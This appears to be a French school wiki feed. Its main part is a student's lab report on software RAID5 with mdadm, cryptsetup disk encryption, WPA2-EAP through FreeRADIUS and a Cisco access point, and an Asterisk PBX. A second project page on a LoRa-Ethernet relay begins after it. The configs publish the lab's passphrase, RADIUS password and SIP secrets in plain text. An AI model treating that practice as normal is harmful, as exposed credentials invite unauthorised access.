lvcreate -L 1G -n /dev/virtual/Mulan-raid3 -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai rajouté trois lignes dans mon fichier /etc/xen/Mulan.cfg&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid1,xvdd1,w',&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid2,xvde1,w',&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid3,xvdf1,w',&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour utiliser la commande mdadm, il faut d'abord installer le paquetage&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install mdadm&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut faut entrer cette commande pour charger le module MD-subsystem &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install linux-image-3.16.0-4-amd64&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après je peux créer volume /dev/md0 grâce à la commande suivante&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour visualiser la statue de kernel md&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat /proc/mdstat&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
md0 : active raid5 xvdf1[2] xvde1[1] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut mounter &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount /dev/md0 /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur le console, j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount: wrong fs type, bad option, bad superblock on /dev/md0,&lt;br /&gt;
       missing codepage or helper program, or other error&lt;br /&gt;
&lt;br /&gt;
       In some cases useful info is found in syslog - try&lt;br /&gt;
       dmesg | tail or so.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai crée un fichier système &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mkfs -t ext4 /dev/md0&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
Filesystem UUID: 6148741b-9ebd-4ccc-8581-af7bbe3fea3c&lt;br /&gt;
Superblock backups stored on blocks: &lt;br /&gt;
    32768, 98304, 163840, 229376, 294912&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done                            &lt;br /&gt;
Writing inode tables: done                            &lt;br /&gt;
Creating journal (8192 blocks): done&lt;br /&gt;
Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après il faut le mounter&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mount /dev/md0 /mnt&lt;br /&gt;
[17819.221864] EXT4-fs (md0): mounted filesystem with ordered data mode. Opts: (null)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 Pour afficher la valeur d'espace disque disponible des systèmes de fichier dont l'utilisateur possède l'accès en lecture, il faut une commande .df&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# df .&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
/dev/md0         2029392  3072   1905184   1% /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour montrer l'espace disque libre listé en format lisible pour l'homme, c'est-à-dire avec le Système_international_d'unités&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# df -h&lt;br /&gt;
Filesystem      Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/xvda2      3.9G  718M  3.0G  20% /&lt;br /&gt;
udev             10M     0   10M   0% /dev&lt;br /&gt;
tmpfs            50M   88K   50M   1% /run&lt;br /&gt;
tmpfs           5.0M     0  5.0M   0% /run/lock&lt;br /&gt;
tmpfs           125M     0  125M   0% /run/shm&lt;br /&gt;
/dev/xvdb1      9.8G   23M  9.2G   1% /home&lt;br /&gt;
/dev/xvdc1      9.8G  246M  9.0G   3% /var&lt;br /&gt;
/dev/md0        2.0G  3.0M  1.9G   1% /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai copié le fichier /boot/vmlinuz-3.16.0-4-amd64 .&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# cp /boot/vmlinuz-3.16.0-4-amd64 .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai mit ma partition xvde1 en mode Faulty&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --set-faulty /dev/md0 /dev/xvde1&lt;br /&gt;
[17884.887698] md/raid:md0: Disk failure on xvde1, disabling device.&lt;br /&gt;
[17884.887698] md/raid:md0: Operation continuing on 2 devices.&lt;br /&gt;
mdadm: set /dev/xvde1 faulty in /dev/md0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour vérifier dans mon fichier&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvdf1[2] xvde1[1](F) xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai bien vu que ma partition xvde1 a changé sa mode en Faulty.&lt;br /&gt;
Pour voir comment le raid marche, j'ai fait un remove et add&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --remove /dev/md0 /dev/xvde1&lt;br /&gt;
[17940.265360] md: unbind&amp;lt;xvde1&amp;gt;&lt;br /&gt;
[17940.265378] md: export_rdev(xvde1)&lt;br /&gt;
mdadm: hot removed /dev/xvde1 from /dev/md0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --add /dev/md0 /dev/xvde1&lt;br /&gt;
[17946.741301] md: export_rdev(xvde1)&lt;br /&gt;
[17946.774588] md: bind&amp;lt;xvde1&amp;gt;&lt;br /&gt;
mdadm: added /dev/xvde1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# [17946.799645] md: recovery of RAID array md0&lt;br /&gt;
[17946.799650] md: minimum _guaranteed_  speed: 1000 KB/sec/disk.&lt;br /&gt;
[17946.799653] md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for recovery.&lt;br /&gt;
[17946.799658] md: using 128k window, over a total of 1047552k.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc dans mon fichier du système, j'ai vu la statue a été changée&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [=&amp;gt;...................]  recovery =  9.6% (101696/1047552) finish=0.4min speed=33898K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [=====&amp;gt;...............]  recovery = 29.2% (306320/1047552) finish=0.4min speed=30632K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [===========&amp;gt;.........]  recovery = 55.2% (578592/1047552) finish=0.2min speed=30452K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# [17982.504053] md: md0: recovery done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La partition xvde1 a été bien réparé.&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Cryptage de données&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour cette partie il faut créer une unique partition sur la carte SD de l'eeePC.Pour sécuriser la partition en utilisant l'unitaire crytsetup, j'ai commencé par&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# cryptsetup create card /dev/mmcblk1p1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai fait&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Saisissez la phrase secrète :&lt;br /&gt;
root@perche:/home/pifou# # la phrase est chencong&lt;br /&gt;
root@perche:/home/pifou# mkfs /dev/mapper/card&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 3777536 4k blocks and 944704 inodes&lt;br /&gt;
Filesystem UUID: 344190aa-fc4f-42a1-9241-ac9910bb11aa&lt;br /&gt;
Superblock backups stored on blocks:&lt;br /&gt;
    32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done                           &lt;br /&gt;
Writing inode tables: done                           &lt;br /&gt;
Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour monter le périphérique, j'ai fait&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# mount /dev/mapper/card /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour démonter le périphérique,il fallait taper&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# umount /mnt&lt;br /&gt;
root@perche:/home/pifou# cryptsetup remove card&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour mieux comprendre comment ca marche le cryptage de données, j'ai crée une autre partition qui s'appelle mulan dans /dev/mmcblk1p1 et puis j'ai refait toutes les étapes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# cryptsetup create mulan /dev/mmcblk1p1&lt;br /&gt;
Saisissez la phrase secrète :&lt;br /&gt;
root@perche:/home/pifou# mount /dev/mapper/mulan /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans la partition card, j'ai créer un fichier dans /mnt/coffre-fort&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# echo &amp;quot;gros secret&amp;quot; &amp;gt; /mnt/coffre-fort&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cela me permet de vérifier si je peux le retrouver après. Donc j'ai essayé de le retrouver après monter la partition mulan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# ls -l /mnt&lt;br /&gt;
total 20&lt;br /&gt;
-rw-r--r-- 1 root root    12 déc.   7 19:58 coffre-fort&lt;br /&gt;
drwx------ 2 root root 16384 déc.   7 19:53 lost+found&lt;br /&gt;
root@perche:/home/pifou# cat /mnt/coffre-fort&lt;br /&gt;
gros secret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;d) Sécurisation Wifi par WPA2-EAP&amp;lt;/h4&amp;gt;&lt;br /&gt;
Le but de cette partie est de contrôler l’accès à la borne Wifi par WPA2-EAP. Pour réussir cela, j'ai commencé par configuré /etc/freeraduis/eap.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
default_eap_type = mschapv2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai configuré /etc/freeraduis/users&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mulan Cleartext-Password := &amp;quot;Chencong&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai aussi configuré /etc/freeraduis/client.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
client 10.60.1.2/24 {&lt;br /&gt;
       secret          = Mulan&lt;br /&gt;
       shortname       = rex&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois que la configuration de freeraduis était faite, j'ai configuré le point d'accès Wifi. Pour le connecter par ma machine virtuelle il fallait faire&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/# telnet 10.60.1.6&lt;br /&gt;
Trying 10.60.1.6...&lt;br /&gt;
Connected to 10.60.1.6.&lt;br /&gt;
Escape character is '^]'.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
User Access Verification&lt;br /&gt;
&lt;br /&gt;
Username: Cisco&lt;br /&gt;
Password: &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai ajouté les lignes comme montré sur le point d'acces Wifi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aaa group server radius radius_mulan&lt;br /&gt;
 server 193.48.57.164 auth-port 1812 acct-port 1813&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
aaa authentication login eap_mulan group radius_mulan&lt;br /&gt;
&lt;br /&gt;
dot11 ssid Mulan&lt;br /&gt;
   vlan 5&lt;br /&gt;
   authentication open eap eap_mulan &lt;br /&gt;
   authentication network-eap eap_mulan &lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
encryption vlan 5 mode ciphers aes-ccm tkip &lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
ssid Mulan&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.5&lt;br /&gt;
 encapsulation dot1Q 5&lt;br /&gt;
 no ip route-cache&lt;br /&gt;
 bridge-group 5&lt;br /&gt;
 bridge-group 5 subscriber-loop-control&lt;br /&gt;
 bridge-group 5 spanning-disabled&lt;br /&gt;
 bridge-group 5 block-unknown-source&lt;br /&gt;
 no bridge-group 5 source-learning&lt;br /&gt;
 no bridge-group 5 unicast-flooding&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.5&lt;br /&gt;
 encapsulation dot1Q 5&lt;br /&gt;
 bridge-group 5&lt;br /&gt;
 bridge-group 5 spanning-disabled&lt;br /&gt;
 no bridge-group 5 source-learning&lt;br /&gt;
!&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite sur eeePC il fallait aussi changer /etc/network/interfaces&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iface wlan3 inet static&lt;br /&gt;
 address 10.60.5.10&lt;br /&gt;
 netmask 255.255.255.0&lt;br /&gt;
 gateway 10.60.5.1&lt;br /&gt;
 wpa-ssid Mulan&lt;br /&gt;
 wpa-key-mgmt WPA-EAP&lt;br /&gt;
 wpa-eap PEAP&lt;br /&gt;
 wpa-identity Mulan&lt;br /&gt;
 wpa-password Chencong&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;e) Configuration d'un PCBX&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour réussir cette partie, il faut installer un serveur DHCP sur eeePC&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install isc-dchp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut aussi installer un paquetage asterisk sur cet eeePC&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install asterisk&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour que tous les téléphones IP puissent s'y enregistrer avec comme numéro de poste des numéros à partir de 100, il faut modifier le ficher /etc/asterisk/sip.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[chencong]&lt;br /&gt;
type=friend&lt;br /&gt;
context=default&lt;br /&gt;
callerid=Chen Cong &amp;lt;71000&amp;gt;&lt;br /&gt;
host=dynamic&lt;br /&gt;
directmedia=yes&lt;br /&gt;
dtmfmode=info&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
allow=alaw&lt;br /&gt;
allow=g723.1&lt;br /&gt;
allow=g729&lt;br /&gt;
secret=mulan&lt;br /&gt;
&lt;br /&gt;
[clara]&lt;br /&gt;
type=friend&lt;br /&gt;
context=default&lt;br /&gt;
callerid=Chen Cong &amp;lt;72000&amp;gt;&lt;br /&gt;
host=dynamic&lt;br /&gt;
directmedia=yes&lt;br /&gt;
dtmfmode=info&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
allow=alaw&lt;br /&gt;
allow=g723.1&lt;br /&gt;
allow=g729&lt;br /&gt;
secret=mulan&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
En meme temps, il faut aussi modifier le fichier /etc/asterisk/extensions.conf. Ce fichier permet d'ajouter des utilisateurs.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
include =&amp;gt; demo&lt;br /&gt;
&lt;br /&gt;
exten =&amp;gt; 71000,1,Dial(SIP/chencong)&lt;br /&gt;
exten =&amp;gt; 72000,1,Dial(SIP/clara)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier /etc/bind9/db.mulan.website, il faut changer le serial et ajouter un autre nom de domaine.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42        ; Serial&lt;br /&gt;
&lt;br /&gt;
sip    IN    A    193.48.57.164&lt;br /&gt;
&lt;br /&gt;
_sip._udp    IN SRV    10 1 5060 sip&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Chanque fois après la modification de ce fichier, il faut résigner la zone avec les commandes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE mulan.website&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir les détailles, sur le console j'ai tapé&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
service asterisk start&lt;br /&gt;
asterisk -vvvvv -r&lt;br /&gt;
sip show peers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur le console, j'ai peux voir&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mulan*CLI&amp;gt; sip show peers&lt;br /&gt;
Name/username             Host                                    Dyn Forcerport Comedia    ACL Port     Status      Description                      &lt;br /&gt;
chencong/chencong         10.60.5.10                               D  Auto (No)  No             5060     Unmonitored                                  &lt;br /&gt;
clara/clara               10.60.5.103                              D  Auto (No)  No             50032    Unmonitored                                  &lt;br /&gt;
2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 2 online, 0 offline]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour faire le test il faut télécharger deux application sipdroid(sur le portable HTC) et ekiga(sur eeePC). J'ai essayé d'appeler ekiga avec le portable HTC. Sur le console,j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[Dec 16 16:00:10] NOTICE[5591]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: clara&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
[Dec 16 16:01:12] NOTICE[5591][C-000001ba]: chan_sip.c:25652 handle_request_invite: Call from '' (85.25.207.90:5108) to extension '972594105693'   &lt;br /&gt;
rejected because extension not found in context 'public'.&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
[Dec 16 16:02:09] NOTICE[5591][C-000001bb]: chan_sip.c:25652 handle_request_invite: Call from '' (209.126.97.238:5070) to extension '0046184952042' &lt;br /&gt;
rejected because extension not found in context 'public'.&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Executing [71000@default:1] Dial(&amp;quot;SIP/clara-00000008&amp;quot;, &amp;quot;SIP/chencong&amp;quot;) in new stack&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Called SIP/chencong&lt;br /&gt;
    -- SIP/chencong-00000009 is ringing&lt;br /&gt;
       &amp;gt; 0x7f3754015760 -- Probation passed - setting RTP source address to 10.60.5.10:5066&lt;br /&gt;
    -- SIP/chencong-00000009 answered SIP/clara-00000008&lt;br /&gt;
    -- Remotely bridging SIP/clara-00000008 and SIP/chencong-00000009&lt;br /&gt;
       &amp;gt; 0x7f3754015760 -- Probation passed - setting RTP source address to 10.60.5.10:5066&lt;br /&gt;
       &amp;gt; 0x7f373c0a8970 -- Probation passed - setting RTP source address to 10.60.5.103:4002&lt;br /&gt;
[Dec 16 16:02:41] WARNING[5591]: chan_sip.c:4035 retrans_pkt: Retransmission timeout reached on transmission b2988c5312894a9e6a8a38767c07cdca for &lt;br /&gt;
seqno 1 (Critical Response) -- See https://wiki.asterisk.org/wiki/display/AST/SIP+Retransmissions&lt;br /&gt;
Packet timed out after 32000ms with no response&lt;br /&gt;
  == Spawn extension (default, 71000, 1) exited non-zero on 'SIP/clara-00000008'&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Executing [71000@default:1] Dial(&amp;quot;SIP/clara-0000000a&amp;quot;, &amp;quot;SIP/chencong&amp;quot;) in new stack&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Called SIP/chencong&lt;br /&gt;
    -- SIP/chencong-0000000b is ringing&lt;br /&gt;
  == Spawn extension (default, 71000, 1) exited non-zero on 'SIP/clara-0000000a'&lt;br /&gt;
[Dec 16 16:05:11] NOTICE[5591]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: clara&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai essayé d'appeler le eeePC par mon portable&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:appel1.jpg&lt;br /&gt;
Fichier:call.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Problème Rencontré=&lt;br /&gt;
Dans ce TP, un moment donné, j'arrivais pas à faire le ping à un routeur par ma machine virtuel. Le problème était que le routeur de l'école n'était pas sur le vlan 130. Donc les paquets ne pouvaient pas passer. Voici un schéma pour expliquer comment ca marche.&lt;br /&gt;
[[Fichier:schema_routage.jpg‎|thumb|center|1200xp|Routage]]&lt;br /&gt;
Donc je peux bien voir qu'il y a une bonne communication entre mon portable et mon eeePC.&lt;br /&gt;
&lt;br /&gt;
=Références=&lt;br /&gt;
Configurations Guide: http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3650/software/release/3se/layer2/configuration_guide/b_lay2_3se_3650_cg/b_lay2_3se_3650_cg_chapter_0101.html#task_1275918&lt;br /&gt;
&lt;br /&gt;
Configurations Guide LACP: http://www.cisco.com/c/en/us/td/docs/ios/12_2sb/feature/guide/gigeth.html#wp1087351&lt;br /&gt;
&lt;br /&gt;
LACP: https://fr.wikipedia.org/wiki/IEEE_802.3ad&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39620</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39620"/>
				<updated>2017-02-26T14:47:47Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Module ENC28J60 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
